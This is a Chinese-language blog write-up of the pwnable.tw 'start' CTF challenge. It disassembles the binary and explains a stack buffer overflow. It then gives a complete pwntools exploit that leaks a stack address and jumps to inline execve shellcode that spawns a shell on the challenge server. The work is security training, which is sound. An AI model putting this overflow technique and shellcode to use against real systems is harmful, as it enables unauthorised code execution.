pwnable-tw刷题记录

本文最后更新于:2025年6月25日 上午

start

把二进制文件拖进32位ida看一下,发现只有start和exit两个函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
.text:08048060 _start          proc near               ; DATA XREF: LOAD:08048018↑o
.text:08048060 push esp
.text:08048061 push offset _exit
.text:08048066 xor eax, eax
.text:08048068 xor ebx, ebx
.text:0804806A xor ecx, ecx
.text:0804806C xor edx, edx
.text:0804806E push 3A465443h
.text:08048073 push 20656874h
.text:08048078 push 20747261h
.text:0804807D push 74732073h
.text:08048082 push 2774654Ch
.text:08048087 mov ecx, esp ; addr
.text:08048089 mov dl, 14h ; len
.text:0804808B mov bl, 1 ; fd
.text:0804808D mov al, 4
.text:0804808F int 80h ; LINUX - sys_write
.text:08048091 xor ebx, ebx
.text:08048093 mov dl, 3Ch ; '<'
.text:08048095 mov al, 3
.text:08048097 int 80h ; LINUX -
.text:08048099 add esp, 14h
.text:0804809C retn

.text:0804809D ; void exit(int status)
.text:0804809D _exit proc near ; DATA XREF: _start+1↑o
.text:0804809D
.text:0804809D status = dword ptr 4
.text:0804809D
.text:0804809D pop esp
.text:0804809E xor eax, eax
.text:080480A0 inc eax
.text:080480A1 int 80h ; LINUX - sys_exit
.text:080480A1 _exit endp ; sp-analysis failed

简单分析下start的逻辑:

先调用了write函数,打印字符串

  • 将old esp压栈
  • 压栈五次,构建要输出的字符串
  • 将esp的值传给ecx,ecx是打印开始的地址
  • 设置dl和bl、al寄存器,分别对应字符串长度和文件描述符的值、系统调用号(write系统调用对应4)
  • 打印出栈上构建的字符串,也即是我们运行start程序后输出的Let's start the CTF:

之后调用了read函数,将用户输入的内容存到栈上

最后add esp,pop eip,跳转到exit函数,程序结束

由于我们可以控制0x3c个缓冲区数据,而这个长度大于esp到ret addr的距离,因此存在溢出

payload如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#!/usr/bin/python3

from pwn import *
#from LibcSearcher import *

#context.log_level = "debug"
#context.terminal=['tmux','splitw','-h']

#sh=process('./start')
sh=remote('chall.pwnable.tw',10000)
sh.recv() # 吞掉第一次的输出

payload = b'a'*0x14 + p32(0x8048087)

sh.send(payload) # 控制eip再次执行write函数,输出old_esp
old_esp=u32(sh.recv()[:4])

#组织第二次的payload
shellcode= b'\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80'

ret_addr=old_esp+20
payload = b'a'*0x14 + p32(ret_addr)+shellcode
#gdb.attach(sh)

sh.send(payload)

sh.interactive()

几点解释:

  • 由于我们不知道栈的位置,因此需要借助write系统调用将old esp的地址打印出来,这样就可以定位到shellcode的地址
  • 我们需要构造两次payload,第一次是得到old esp,第二次是劫持控制流到shellcode
  • 如果使用asm(shellcraft.sh()),将会无法get shell,因为通过这种方式生成的shellcode是44字节,加上padding之后超出了能控制的0x3c的范围
  • 关于栈帧的分析,可以参考https://viblo.asia/p/pwnabletw-pwnstart-qPoL7zXXJvk
  • $ find / -name flag查找flag


pwnable-tw刷题记录
http://gls.show/p/a735da4/
作者
郭佳明
发布于
1970年1月1日
许可协议